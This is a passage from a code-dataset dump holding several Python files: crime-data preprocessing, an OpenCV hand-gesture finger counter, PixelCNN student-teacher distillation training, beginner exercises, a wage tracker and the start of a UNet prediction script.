csr_matrix\nimport itertools\n\n\ndef _as_list(x):\n return x if type(x) == list else [x]\n\ndef _strip(df,columns):\n for c in _as_list(columns):\n df.loc[:,c] = df[c].str.strip()\n return df\n\ndef _lower(df,columns):\n for c in _as_list(columns):\n df.loc[:,c] = df[c].str.lower()\n return df\n\ndef category(type):\n if 'Homicide' in type or 'Fatality' in type:\n return 1\n else:\n return -1 \n\ndef time_category(x, type):\n x = x.split(':')\n if type == 'hour':\n return x[0]\n elif type == 'minute':\n return x[1]\n \ndef pack():\n df = pd.read_csv(\"../raw_data/crime.csv\")\n df = df.dropna(subset = ['YEAR', 'MONTH', 'DAY', 'HOUR', 'MINUTE'])\n df['DATE'] = df.YEAR.astype('str').map(str) + '/' + df.MONTH.astype('str') + '/' +df.DAY.astype('str') + ' ' + df.HOUR.astype('str') + ':' + df.MINUTE.astype('str')\n df.DATE = df.DATE.apply(pd.to_datetime).dt.date\n df['TIME'] = df.HOUR.astype('int64').astype('str') + ':' + df.MINUTE.astype('int64').astype('str')\n df['TIME_HOUR'] = df.TIME.map(lambda x: time_category(x, 'hour'))\n df['TIME_MINUTE'] = df.TIME.map(lambda x: time_category(x, 'minute'))\n df = df.dropna(subset = ['NEIGHBOURHOOD'])\n df.TYPE = df.TYPE.astype('str')\n df.NEIGHBOURHOOD = df.NEIGHBOURHOOD.astype('str')\n df['DAY_OF_WEEK'] = pd.DatetimeIndex(df['DATE']).dayofweek\n df['CLASSIFICATION'] = df.TYPE.apply(category)\n df = df.rename(columns = {'DAY': 'DAY_OF_MONTH'})\n df = df.drop(labels=['DATE','HOUR', 'MINUTE', 'HUNDRED_BLOCK', 'X', 'Y', 'TYPE', 'TIME'], axis = 1)\n class1 = df[df.CLASSIFICATION == 1]\n class2 = df[df.CLASSIFICATION == -1]\n class2 = class2.sample(49526)\n df = pd.concat([class1, class2])\n df.to_csv('../raw_data/crime_processed.csv', index_label = False)\n print ('\\n DONE \\n --x--')\nif __name__ == \"__main__\":\n pack()\n","sub_path":"517a_crime_vancouver/code/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"597400919","text":"\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\nimport imutils\nfrom sklearn.metrics import pairwise\n \nimport webbrowser\n\n\n\ndef segment(image, threshold=20):\n global back_ground\n diff = cv2.absdiff(back_ground.astype(\"uint8\"), image)\n\n thresholded = cv2.threshold(diff, threshold, 255, cv2.THRESH_BINARY)[1]\n\n (contours, _) = cv2.findContours(thresholded.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n if len(contours) == 0:\n return\n else:\n segmented = max(contours, key=cv2.contourArea)\n return (thresholded, segmented)\n\ndef run_avg(image, aWeight):\n global back_ground\n if back_ground is None:\n back_ground = image.copy().astype(\"float\")\n return\n\n cv2.accumulateWeighted(image, back_ground, aWeight)\n\ndef count(thresholded, segmented):\n chull = cv2.convexHull(segmented)\n\n extreme_top = tuple(chull[chull[:, :, 1].argmin()][0])\n extreme_bottom = tuple(chull[chull[:, :, 1].argmax()][0])\n extreme_left = tuple(chull[chull[:, :, 0].argmin()][0])\n extreme_right = tuple(chull[chull[:, :, 0].argmax()][0])\n\n cX = int((extreme_left[0] + extreme_right[0]) / 2)\n cY = int((extreme_top[1] + extreme_bottom[1]) / 2)\n\n distance = pairwise.euclidean_distances([(cX, cY)], Y=[extreme_left, extreme_right, extreme_top, extreme_bottom])[0]\n maximum_distance = distance[distance.argmax()]\n\n radius = int(0.75 * maximum_distance)\n\n circumference = (2 * np.pi * radius)\n\n circular_roi = np.zeros(thresholded.shape[:2], dtype=\"uint8\")\n\n cv2.circle(circular_roi, (cX, cY), radius, 255, 1)\n\n circular_roi = cv2.bitwise_and(thresholded, thresholded, mask=circular_roi)\n\n (contours, _) = cv2.findContours(circular_roi.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n count = 0\n\n for c in contours:\n (x, y, w, h) = cv2.boundingRect(c)\n\n if ((cY + (cY * 0.25)) > (y + h)) and ((circumference * 0.25) > c.shape[0]):\n count += 1\n\n return min(count, 5), cX, cY, radius\n\n\nflag = 0\n\naWeight = 0.5\ncap = cv2.VideoCapture(0)\n\ntop, right, bottom, left = 0, 650, 500, 1000\n\nnumber_of_frames = 0\nback_ground = None\nwhile True:\n try:\n check, frame = cap.read()\n frame = imutils.resize(frame, width=1000)\n\n frame = cv2.flip(frame, 1)\n\n frame_clone = frame.copy()\n\n (height, width) = frame.shape[:2]\n\n roi = frame[top:bottom, right:left]\n\n gray = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (7, 7), 0)\n \n\n\n if number_of_frames < 39:\n run_avg(gray, aWeight)\n else:\n hand = segment(gray)\n\n if hand is not None:\n (thresholded, segmented) = hand\n\n cv2.drawContours(frame_clone, [segmented + (right, top)], -1, (110, 2, 76))\n\n fingers, cX, cY, radius = count(thresholded, segmented)\n\n cv2.putText(frame_clone, str(fingers), (700, 600), cv2.FONT_HERSHEY_SIMPLEX, 1, (110, 2, 76), 5)\n \n cv2.circle(thresholded, (cX, cY), radius, 255, 1)\n\n cv2.imshow(\"Thesholded\", thresholded)\n\n if fingers == 5:\n img = cv2.imread(\"/home/msd/Desktop/msd.jpg\")\n cv2.namedWindow(\"Image\")\n cv2.resizeWindow(\"Image\", 1000, 1000)\n cv2.imshow(\"Image\", img)\n\n elif fingers == 1:\n cv2.destroyWindow(\"Image\")\n \n \n elif fingers == 2:\n webbrowser.open('http://google.com', new=2)\n \n elif fingers == 3:\n flag = 1\n break\n \n \n\n cv2.rectangle(frame_clone, (left, top), (right, bottom), (245, 87, 66), 10)\n\n number_of_frames += 1\n if number_of_frames == 40:\n print(\"Back Ground is Recognized, Ready!\")\n cv2.namedWindow(\"Window\")\n cv2.resizeWindow(\"Window\", 1000, 1000)\n cv2.imshow(\"Window\", frame_clone)\n \n key = cv2.waitKey(1)\n\n if key == ord('r'):\n num_frames = 0\n back_ground = None\n elif key == ord('q'):\n break\n except:\n pass\n\ncap.release()\ncv2.destroyAllWindows()\n\nif flag == 1:\n\n\n def nothing(x):\n pass\n\n\n\n cv2.namedWindow(\"Tracking\")\n cv2.createTrackbar(\"LH\",\"Tracking\", 0, 255, nothing)\n cv2.createTrackbar(\"LS\",\"Tracking\", 0, 255, nothing)\n cv2.createTrackbar(\"LV\",\"Tracking\", 0, 255, nothing)\n cv2.createTrackbar(\"UH\",\"Tracking\", 255, 255, nothing)\n cv2.createTrackbar(\"US\",\"Tracking\", 255, 255, nothing)\n cv2.createTrackbar(\"UV\",\"Tracking\", 255, 255, nothing)\n \n\n while True:\n frame = cv2.imread('/home/msd/smarties.png')\n \n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n \n l_h =cv2.getTrackbarPos(\"LH\", \"Tracking\")\n l_s =cv2.getTrackbarPos(\"LS\", \"Tracking\") \n l_v =cv2.getTrackbarPos(\"LV\", \"Tracking\") \n \n \n u_h =cv2.getTrackbarPos(\"UH\", \"Tracking\")\n u_s =cv2.getTrackbarPos(\"US\", \"Tracking\")\n u_v =cv2.getTrackbarPos(\"UV\", \"Tracking\")\n\n \n l_b = np.array([l_h, l_s , l_v])\n u_b = np.array([u_h, u_s, u_v])\n \n mask = cv2.inRange(hsv, l_b, u_b)\n res = cv2.bitwise_and(frame, frame, mask )\n \n cv2.imshow(\"frame\", frame)\n cv2.imshow(\"mask\", mask)\n cv2.imshow(\"res\", res)\n \n key = cv2.waitKey(1)\n if key ==27 :\n break\n \n\n cv2.destroyAllWindows()\n\n","sub_path":"HandGestureRecognition.py","file_name":"HandGestureRecognition.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"556771175","text":"import time\nimport os\nimport argparse\nimport logging\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torchvision import datasets, transforms, utils\nfrom tensorboardX import SummaryWriter\nfrom utils_student import *\nfrom pixelcnnpp_utils import *\nfrom model_student import *\nfrom model_teacher import *\nfrom PIL import Image\n\nfrom collections import OrderedDict\n\n\n\nparser = argparse.ArgumentParser()\n# data I/O\nparser.add_argument('-i', '--data_dir', type=str,\n default='data', help='Location for the dataset')\nparser.add_argument('-o', '--save_dir', type=str, default='models',\n help='Location for parameter checkpoints and samples')\nparser.add_argument('-log', '--log_dir', type=str, default='logs',\n help='Location for run logs')\nparser.add_argument('-d', '--dataset', type=str,\n default='cifar', help='Can be either cifar|mnist|svhn')\nparser.add_argument('-p', '--print_every', type=int, default=100,\n help='how many iterations between print statements')\nparser.add_argument('-t', '--save_interval', type=int, default=1,\n help='Every how many epochs to write checkpoint/samples?')\nparser.add_argument('-ss', '--save_interval_student', type=int, default=2000,\n help='Every how many epochs to write student model checkpoint/samples?')\nparser.add_argument('-r', '--load_params', type=str, default=None,\n help='Restore training from previous model checkpoint?')\n# model\nparser.add_argument('-q', '--nr_resnet', type=int, default=5,\n help='Number of residual blocks per stage of the model')\nparser.add_argument('-qs', '--nr_resnet_s', type=int, default=5,\n help='Number of residual blocks per stage of the student model')\nparser.add_argument('-lb', '--nr_layer', type=int, default=2,\n help='Number of layers in each resnet block of the student model')\nparser.add_argument('-n', '--nr_filters', type=int, default=160,\n help='Number of filters to use across the model. Higher = larger model.')\nparser.add_argument('-m', '--nr_logistic_mix', type=int, default=10,\n help='Number of logistic components in the mixture. Higher = more flexible model')\nparser.add_argument('-l', '--lr', type=float,\n default=0.0002, help='Base learning rate')\nparser.add_argument('-e', '--lr_decay', type=float, default=0.999995,\n help='Learning rate decay, applied every step of the optimization')\nparser.add_argument('-lsreg', '--ls_reg', type=float, default=0.05,\n help='Regularization factor for L2 norm of difference in student and teacher log_scales')\nparser.add_argument('-creg', '--coeff_reg', type=float, default=0.05,\n help='Regularization factor for L2 norm of difference in student and teacher coeffs')\nparser.add_argument('-b', '--batch_size', type=int, default=8,\n help='Batch size during training per GPU')\nparser.add_argument('-x', '--max_epochs', type=int,\n default=50000, help='How many epochs to run in total?')\nparser.add_argument('-s', '--seed', type=int, default=1,\n help='Random seed to use')\nargs = parser.parse_args()\n\n# reproducibility\ntorch.manual_seed(args.seed)\nnp.random.seed(args.seed)\n\nmodel_name = 'pcnn_lr_{:.5f}_nr-resnet{}_nr-filters{}'.format(args.lr, args.nr_resnet, args.nr_filters)\n#assert not os.path.exists(os.path.join('runs', model_name)), '{} already exists!'.format(model_name)\n#writer = SummaryWriter(log_dir=os.path.join('runs', model_name))\n\nsample_batch_size = 6 #25\nobs = (1, 28, 28) if 'mnist' in args.dataset else (3, 32, 32)\ninput_channels = obs[0]\nrescaling = lambda x : (x - .5) * 2.\nrescaling_inv = lambda x : .5 * x + .5\nkwargs = {'num_workers':1, 'pin_memory':True, 'drop_last':True}\nds_transforms = transforms.Compose([transforms.ToTensor(), rescaling])\n\n\ndef get_dataloaders(datatype):\n\n if 'mnist' in args.dataset:\n train_loader = torch.utils.data.DataLoader( datasets.MNIST( args.data_dir, download=True,\n train=True, transform=ds_transforms ),\n batch_size=args.batch_size,\n shuffle=True, **kwargs )\n\n test_loader = torch.utils.data.DataLoader( datasets.MNIST( args.data_dir, train=False,\n transform=ds_transforms ),\n batch_size=args.batch_size, shuffle=True, **kwargs )\n\n loss_op = lambda real, fake: discretized_mix_logistic_loss_1d( real, fake )\n sample_op = lambda x: sample_from_discretized_mix_logistic_1d( x, args.nr_logistic_mix )\n\n elif 'svhn' in args.dataset:\n #removed \"**kwargs\" from the argument of DataLoader\n train_loader = torch.utils.data.DataLoader(datasets.SVHN( args.data_dir, split='train',\n download=True, transform=ds_transforms ),\n batch_size=args.batch_size, shuffle=True, drop_last=True)\n\n #removed \"**kwargs\" from the argument of DataLoader\n test_loader = torch.utils.data.DataLoader(datasets.SVHN( args.data_dir, split='test',\n download=True, transform=ds_transforms),\n batch_size=args.batch_size, shuffle=True, drop_last=True)\n\n loss_op = lambda real, fake: discretized_mix_logistic_loss( real, fake )\n sample_op = lambda x: sample_from_discretized_mix_logistic( x, args.nr_logistic_mix )\n\n elif 'cifar' in args.dataset:\n #removed \"**kwargs\" from the argument of DataLoader\n train_loader = torch.utils.data.DataLoader(datasets.CIFAR10( args.data_dir, train=True,\n download=True, transform=ds_transforms ),\n batch_size=args.batch_size, shuffle=True)\n\n #removed \"**kwargs\" from the argument of DataLoader\n test_loader = torch.utils.data.DataLoader(datasets.CIFAR10( args.data_dir, train=False,\n transform=ds_transforms ),\n batch_size=args.batch_size, shuffle=True )\n\n loss_op = lambda real, fake: discretized_mix_logistic_loss( real, fake )\n sample_op = lambda x: sample_from_discretized_mix_logistic( x, args.nr_logistic_mix )\n else:\n raise Exception( '{} dataset not in {mnist, cifar10}, svhn'.format( args.dataset ) )\n\n return train_loader, test_loader, loss_op, sample_op\n\ndef sample_teacher(model):\n print( 'sample from teacher model' )\n t0 = time.time()\n\n model.train(False)\n data = torch.zeros(sample_batch_size, obs[0], obs[1], obs[2])\n data = data.cuda()\n for i in range(obs[1]):\n for j in range(obs[2]):\n data_v = Variable(data, volatile=True)\n out= model(data_v, sample=True)\n out_sample = sample_op(out)\n data[:, :, i, j] = out_sample.data[:, :, i, j]\n\n sample_t = rescaling_inv( sampled_data )\n utils.save_image( sample_t, 'images/teacher_sample/{}.png'.format( 'model_t_889' ), nrow=3, padding=0 )\n\n t1 = time.time()\n print( \"Time taken to sample from teacher model = \", t1 - t0 )\n\n return sample_t\n\ndef sample_student(model, model_name, image_count):\n\n model.train(False)\n # generate batch of random noise\n x_in = torch.tensor(torch.randn(image_count, 3, 32, 32 ), requires_grad=False )\n x_in = torch.clamp( x_in, min=-1., max=1. ).to( device )\n\n # calculate output of the student model\n # sampled image, and parameters of the final distribution\n # mean, log_s, coeffs\n img_s_out, _, _, _ = model.forward(x_in)\n np.save( 'images/student_sample/sample_s_out_data', img_s_out.cpu().detach().numpy() )\n\n sample_s = rescaling_inv(img_s_out )\n #np.save( 'images/student_sample/sample_s_out_rescaled_data', sample_s.cpu().detach().numpy() )\n utils.save_image(sample_s, 'images/student_sample/{}.png'.format(model_name ), nrow=5, padding=0 )\n\n\n\ndef train_student(model_s, model_t, optimizer_s, scheduler_s, train_loader, test_loader, cuda_present, opt):\n '''\n Perform training on the student model using a trained teacher model\n :param model: the model\n :param train_loader: dataloader for the train set\n :param test_loader: dataloader for the test set\n :param max_eopchs: toal number of epochs for training\n :param cuda_present: boolean, True if CUDA is present\n :return: nothing so far\n '''\n\n model_s = model_s.train()\n model_t = model_t.eval()\n\n batch_size = opt.batch_size\n max_epochs = opt.max_epochs\n\n logging.info(\"Starting student training\")\n t0 = time.time()\n epoch_start_time = time.time()\n for epoch in range(max_epochs):\n\n model_student.train(True )\n torch.cuda.synchronize()\n #generate batch of random noise\n x_in = torch.tensor(torch.randn(batch_size, 3, 32,32), requires_grad=False)\n x_in = torch.clamp(x_in, min=-1., max = 1.).to(device)\n\n #calculate output of the student model\n #sampled image, and parameters of the final distribution\n #mean, log_s, coeffs\n xs_out, means_tot, log_s_tot, coeffs = model_s.forward(x_in)\n\n optimizer_s.zero_grad()\n\n #sample an image from the student generated output\n #img_in = model_s.sample_operation(x_out, opt.nr_logistic_mix)\n\n #pass img_in through the teacher model, generate an output,\n xt_out = model_t(xs_out, sample=True)\n #print( \"teacher model output shape = \", x_t_out.shape, \"\\n\")\n\n # get mu, log_s and mixing coeff of the teacher network output\n (means_t, log_scales_t, coeffs_t) = pixelcnnpp_utils.extract_mu_logs(xt_out, opt.nr_logistic_mix )\n\n #Sample images from the teacher output\n #sample_t = model_t.sample_operation(x_out, opt.nr_logistic_mix)\n #print( \"teacher model sampled output image shape = \", sample_t.shape, \"\\n\" )\n\n #Calculate loss function using (x_out and img_t_out)\n\n #cross entropy between the student and teacher model --> H(P_s, P_T)\n loss_cross_entropy = model_s.cross_ent(xs_out, xt_out, opt.nr_logistic_mix)/(batch_size*3*32.0*32.0)\n loss1 = loss_cross_entropy\n\n #entropy of the student distribution --> H(P_s)\n loss_student_entropy = model_s.entropy_per_pixel(log_s_tot)\n loss2 = loss1 - loss_student_entropy\n\n #Regularization loss from log_scales between student and teacher network\n loss_reg_s = opt.ls_reg*torch.mean((log_s_tot - log_scales_t)*(log_s_tot - log_scales_t))\n loss3 = loss2 + loss_reg_s\n\n # Regularization loss from log_scales between student and teacher network\n loss_reg_coeffs = opt.coeff_reg * torch.mean( (coeffs - coeffs_t ) * (coeffs - coeffs_t) )\n loss4 = loss3+ loss_reg_coeffs\n\n #loss = H(P_s , P_T) - H(P_s)\n #loss = loss1\n #loss = loss2\n #loss = loss3\n loss = loss4\n\n #Perform back prop\n loss.backward()\n\n #clip gradients\n nn.utils.clip_grad_norm_(model_s.parameters(), 7. )\n\n #Update parameters\n optimizer_s.step()\n\n if ((epoch % opt.print_every) == 0) :\n #if ((epoch > 20) & (epoch < 40)):\n t1 = time.time()\n epoch_end_time = time.time()\n time_taken = epoch_end_time - epoch_start_time\n logging.info(\"epoch: {}, Loss_Cross_Entropy: {:02.4f}, Student_Entropy: {:02.4f}, log_scales_reg_L2_loss: {:02.4f}, coeffs_reg_L2_loss: {:02.4f},time taken: {}\".format(epoch, loss_cross_entropy.item(), loss_student_entropy.item(), loss_reg_s.item(), loss_reg_coeffs.item(), time_taken))\n #logging.info(\"lr: {}\".format(optimizer_s.state_dict()['lr']))\n t0 = time.time()\n epoch_start_time = time.time()\n if (epoch + 1) % args.save_interval_student == 0:\n model_name = 'student_2_loss4_{:.5f}_GRNBlocks_{}_layers_{}_'.format( args.lr, args.nr_resnet_s, args.nr_layer)\n model_name += '_filters_{}_batchsize_{}_{}'.format(args.nr_filters, args.batch_size,epoch)\n\n logging.info( \" saving state dict in model name **** {}\".format(model_name) )\n torch.save(model_s.state_dict(), 'trained_student_models/{}.pth'.format(model_name))\n\n logging.info( 'sampling student model ...' )\n sample_s = sample_student(model_student, model_name, 25 )\n\n\n # decrease learning rate\n scheduler_s.step()\nif __name__ == \"__main__\":\n\n args = parser.parse_args()\n max_epochs = args.max_epochs\n\n train_s = True\n student_sample = False\n teacher_sample = False\n\n # Set the logger\n log_file_name = 'train_student_model_2_loss4_'+str(args.nr_resnet_s) +'_'+str(args.nr_layer)+'_'+str(args.nr_filters)+'_'+str(args.batch_size)+ '_'+str(args.ls_reg)+'_'+str(args.lr)+'_'+str(args.coeff_reg)+'_.log'\n #log_file_name = 'generate_student_sample.log'\n set_logger(os.path.join(args.log_dir, log_file_name ) )\n logging.info(\"Using 4 loss terms: Loss_4 ****** \")\n logging.info(\"Loss Terms: Teacher negative log likelihood, student entropy\" )\n logging.info(\"layers_student: gated_resnet module output changed from : c3 = F.tanh(a) * F.sigmoid(b) to c3 = a * F.sigmoid(b)\")\n arg_options = vars(args)\n for key in arg_options:\n logging.info(\"param: {}, Value: {}\".format(key,arg_options[key]))\n\n logging.info(\"generating dataloaders\")\n (train_loader, test_loader, loss_op, sample_op) = get_dataloaders(args.dataset)\n\n #Check if CUDA is available, use GPU if available\n cuda_present = torch.cuda.is_available() # Boolean\n #device = torch.device( \"cuda\" ) if (torch.cuda.is_available() and opt.use_cuda) else torch.device( \"cpu\" )\n\n if cuda_present:\n device = torch.device( \"cuda\" )\n logging.info(\"using CUDA\" )\n else:\n torch.device( \"cpu\" )\n logging.info( \"cuda not available, using CPU\" )\n logging.info( \"Device is {}\".format( device ) )\n\n\n\n #Instantiate teacher model\n model_teacher = PixelCNN( nr_resnet=args.nr_resnet, nr_filters=args.nr_filters,\n input_channels=input_channels, nr_logistic_mix=args.nr_logistic_mix )\n\n logging.info( \"loading pretrained teacher model *** \" )\n\n # Load pre-trained teacher model state dict\n # The new few lines are manipulations to change the key value of the saved state dict\n # the model was probably saved with torch.nn.DataParallel\n\n pretrained_teacher_model = 'trained_teacher_model/pcnn_lr.0.00040_nr-resnet5_nr-filters160_889.pth'\n state_dict = torch.load(pretrained_teacher_model )\n new_state_dict = OrderedDict()\n\n for k, v in state_dict.items():\n name = k[7:]\n new_state_dict[name] = v\n\n model_teacher.load_state_dict( new_state_dict ) #Use this line if the saved model used DataParallel\n #model_teacher.load_state_dict(state_dict ) #Use this line if the saved model didn't use DataParallel\n\n logging.info( \"DONE loading pretrained teacher model *** {}\".format(pretrained_teacher_model) )\n\n model_teacher = model_teacher.to(device) #transferring teacher model to GPU\n logging.info( \"DONE transferring teacher model to CUDA\")\n\n if teacher_sample == True:\n sample_t= sample_teacher(model_teacher)\n\n if args.load_params:\n load_part_of_model( model_teacher, args.load_params )\n # model.load_state_dict(torch.load(args.load_params))\n print( 'model parameters loaded' )\n\n\n\n if train_s == True:\n model_student = PixelCNNpp_Student(resnet_blocks = args.nr_resnet_s, layers_per_blk = args.nr_layer)\n #print(model_student)\n\n pretrained_student_model = 'student_2_0.00020_GRNBlocks_5_layers_2_filters_160_batchsize_8_49999.pth'\n #state_dict_s = torch.load(pretrained_student_model )\n\n #model_student.load_state_dict(state_dict_s)\n model_student = model_student.to( device )\n\n # Optimizers\n optimizer_s = torch.optim.Adam(model_student.parameters(), lr=args.lr)\n scheduler_s = lr_scheduler.StepLR(optimizer_s, step_size=50, gamma=args.lr_decay)\n\n\n train_student(model_student, model_teacher, optimizer_s, scheduler_s,\n train_loader, test_loader, cuda_present, opt=args)\n\n\n if student_sample == True:\n print(\"sampling from the student model\")\n #model_student = PixelCNNpp_Student(resnet_blocks=args.nr_resnet_s, layers_per_blk=args.nr_layer )\n # print(model_student)\n\n #pretrained_student_model = 'trained_student_models/student_2_0.00020_GRNBlocks_5_layers_2_filters_160_lsreg_0.05_coeffreg_0.05_batchsize_8_99999.pth'\n #model_name = pretrained_student_model.split( '.' )[0].split( '/' )[-1]\n\n #pretrained_student_model = 'student_2_0.00020_GRNBlocks_5_layers_2_filters_160_batchsize_8_49999.pth'\n #model_name = pretrained_student_model.split( '.' )[0]\n #state_dict_s = torch.load(pretrained_student_model )\n #model_student = model_student.to( device )\n #sample_student(model_student, model_name, 25)\n","sub_path":"train_Student.py","file_name":"train_Student.py","file_ext":"py","file_size_in_byte":17404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"211009592","text":"# 1.Write a function called fizz_buzz that takes a number\ndef fizzbuzz(num):\n if num % 3 == 0 and num % 5 == 0:\n return \"fizz buzz\"\n elif num % 3 == 0:\n return \"fizz\"\n elif num % 5 == 0:\n return \"buzz\"\n else:\n return num\n\n\nprint(fizzbuzz(60))\n\n# 2. try and except block to avoid IndexError.\nnum_list = [5, 10, 20]\ntry:\n if num_list[5] == 20:\n print(\"number is the list\")\nexcept IndexError:\n print(\"List index out of range\")\n\n\n# 3. Create a class with arguments\nclass JetInventory():\n def __init__(self, name, country):\n self.name = name\n self.country = country\n\n def jet_details(self):\n print(f'{self.name} {self.country}')\n\n\njet_inventory1 = JetInventory(\"AirIndia\", \"India\")\njet_inventory1.jet_details()\n\n# 4. Create a notebook\n# import pandas as pd\n# df = pd.read_csv('test.csv')\n# data.head()\n\n# 5. check whether a given key already exists in a dictionary.\ndic = {1: 10, 2: 20, 3: 30, 4: 40, 5: 50, 6: 60}\n\n\ndef is_key_present(key):\n if key in dic:\n print('Key is present in the dictionary')\n else:\n print('Key is not present in the dictionary')\n\n\nis_key_present(5)\nis_key_present(9)\n\n\n# 6.Identify the even and odd numbers.\n\ndef show_numbers(limit):\n num = int(input(\"Enter a number: \"))\n mod = num % 2\n if mod != 0:\n print(\"{0} is odd\".format(num))\n else:\n print(\"{0} is even\".format(num))\n\nshow_numbers(5)\n\n# 7. Read the dataset\n#import pandas as pd\n#df = pd.read_csv('creditcard.csv')\n#data.head()\n#df.describe()\n#df.info()\n\n\n# 8. Create a classd Person, with firstname and lastname properties, and a print name method.\nclass Person():\n def __init__(self, first_name, last_name):\n self.first_name = first_name\n self.last_name = last_name\n\n def name(self):\n print(f\"My name is : {self.first_name} {self.last_name}\")\n\n\nperson = Person(\"Hema\", \"Gunti\")\nperson.name()\n\n# 9.Write a program asks for numeric user input.\nwhile True:\n try:\n x = int(input(\"Please enter a number: \"))\n break\n except ValueError:\n print(\"Oops! That was no valid number. Try again...\")\n\n\n# 10. Write a Python program to create two empty classes,\nclass Student:\n pass\n\n\nclass Marks:\n pass\n\n\nstudent1 = Student()\nmarks1 = Marks()\nprint(isinstance(student1, Student))\nprint(isinstance(marks1, Student))\nprint(isinstance(marks1, Marks))\nprint(isinstance(student1, Marks))\nprint(\"\\nCheck whether the said classes are subclasses of the built-in object class or not.\")\nprint(issubclass(Student, object))\nprint(issubclass(Marks, object))\n","sub_path":"week2/week2.py","file_name":"week2.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"469062229","text":"from time import time, sleep\nfrom datetime import datetime, date, time, timedelta\n\ndef wageInput():\n wageTypeStr = 'Please select your wage type (h/w/s): '\n print('Welcome to wagey!')\n wageType = input(wageTypeStr)\n while wageType not in ('h', 'w', 's'):\n print('Error: \\'' + wageType + '\\' is not a valid input.')\n print('h = hourly wage')\n print('w = weekly wage')\n print('s = annual salary')\n wageType = input(wageTypeStr)\n return wageType\n\ndef hoursWorked():\n while True:\n try:\n hours = float(input('How many hours a week do you work? '))\n break\n except ValueError:\n print('Error: Invalid number format.')\n return hours\n\ndef hourMultiplier():\n while True:\n try:\n multiplier = float(input('Enter your penalty rate: '))\n break\n except ValueError:\n print('Error: Invalid number format.')\n return multiplier\n\ndef calculateFromHourlyWage():\n while True:\n try:\n hourlyWage = float(input('Enter your hourly wage: $'))\n break\n except ValueError:\n print('Error: Invalid number format.')\n multiplier = hourMultiplier()\n print('Woah you\\'re earning $' + str(multiplier * hourlyWage) + '/hour!')\n return (hourlyWage * multiplier) / 60 / 60\n\ndef calculateFromWeeklyWage():\n while True:\n try:\n weeklyWage = float(input('Enter your weekly wage: $'))\n break\n except ValueError:\n print('Error: Invalid number format.')\n hoursInWeek = hoursWorked()\n return weeklyWage / hoursInWeek / 60 / 60\n\ndef calculateFromAnnualSalary():\n while True:\n try:\n annualSalary = float(input('Enter your annual salary: $'))\n break\n except ValueError:\n print('Error: Invalid number format.')\n hoursInWeek = hoursWorked()\n return annualSalary / 12 / 4.3 / hoursInWeek / 60 / 60\n\ndef getStartTime():\n while True:\n try:\n startTime = datetime.strptime(input('Enter your start time [hh:mm:ss]: '), '%H:%M:%S').time()\n break\n except ValueError:\n print('Error: Invalid time format.')\n return datetime.combine(date.today(), startTime)\n\ndef getFinishTime(startTime):\n while True:\n try:\n finishTime = datetime.strptime(input('Enter your finish time [hh:mm:ss]: '), '%H:%M:%S').time()\n while datetime.combine(date.today(), finishTime) < startTime:\n print('Error: Finish time cannot be before start time [' + str(finishTime) + ']')\n finishTime = datetime.strptime(input('Enter your finish time [hh:mm:ss]: '), '%H:%M:%S').time()\n break\n except ValueError:\n print('Error: Invalid time format.')\n return datetime.combine(date.today(), finishTime)\n\ndef calculateWageSoFar(secondlyWage, startTime):\n diff = (datetime.now() - startTime).total_seconds()\n return diff * secondlyWage\n\ndef wageLoop(secondlyWage, startTime, wageSoFar, finishTime):\n print('You\\'ve earned $' + str(round(wageSoFar, 2)) + ' so far!')\n print('You earn $' + str(round(secondlyWage, 3)) + '/second!')\n\n newWage = wageSoFar\n while datetime.now() < finishTime:\n sleep(1)\n newWage += secondlyWage\n print('$' + str(round(newWage, 2)))\n print('Great job you\\'ve finished your day!')\n print('You earned a total of $' + str(round(newWage, 2)) + ' at $' + str(round(secondlyWage, 3)) + '/second!')\n tryAgain = input('Would you like to do this again (y/n)? ')\n while tryAgain not in ('y', 'n'):\n print('Error: \\'' + tryAgain + '\\' is not a valid input.')\n tryAgain = input('Would you like to do this again (y/n)? ')\n if tryAgain == 'y':\n main()\n else:\n exit()\n\n# function caller helper\nwageTypes = {'h' : calculateFromHourlyWage,\n 'w' : calculateFromWeeklyWage,\n 's' : calculateFromAnnualSalary}\n\ndef main():\n wageType = wageInput()\n secondlyWage = wageTypes[wageType]()\n startTime = getStartTime()\n finishTime = getFinishTime(startTime)\n wageSoFar = calculateWageSoFar(secondlyWage, startTime)\n wageLoop(secondlyWage, startTime, wageSoFar, finishTime)\n\n# call the main function\nif __name__ == '__main__':\n main()","sub_path":"wagey.py","file_name":"wagey.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"417821599","text":"import argparse\nimport logging\nimport os\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image\nfrom torchvision import transforms\n\nfrom unet import UNet\nfrom utils.data_vis import plot_img_and_mask\nfrom utils.dataset import BasicDataset\nfrom dataset_creation import CancerDataset\nfrom torch.utils.data import DataLoader, random_split\nimport cv2\nimport matplotlib.pyplot as plt\n\n\ndef predict_img(net,\n full_img,\n device,\n scale_factor=1,\n out_threshold=0.5):\n net.eval()\n\n img = torch.from_numpy(BasicDataset.preprocess(full_img, scale_factor))\n\n img = img.unsqueeze(0)\n img = img.to(device=device, dtype=torch.float32)\n\n with torch.no_grad():\n output = net(img)\n\n if net.n_classes > 1:\n probs = F.softmax(output, dim=1)\n else:\n probs = torch.sigmoid(output)\n\n probs = probs.squeeze(0)\n\n tf = transforms.Compose(\n [\n transforms.ToPILImage(),\n transforms.Resize(full_img.size[1]),\n transforms.ToTensor()\n 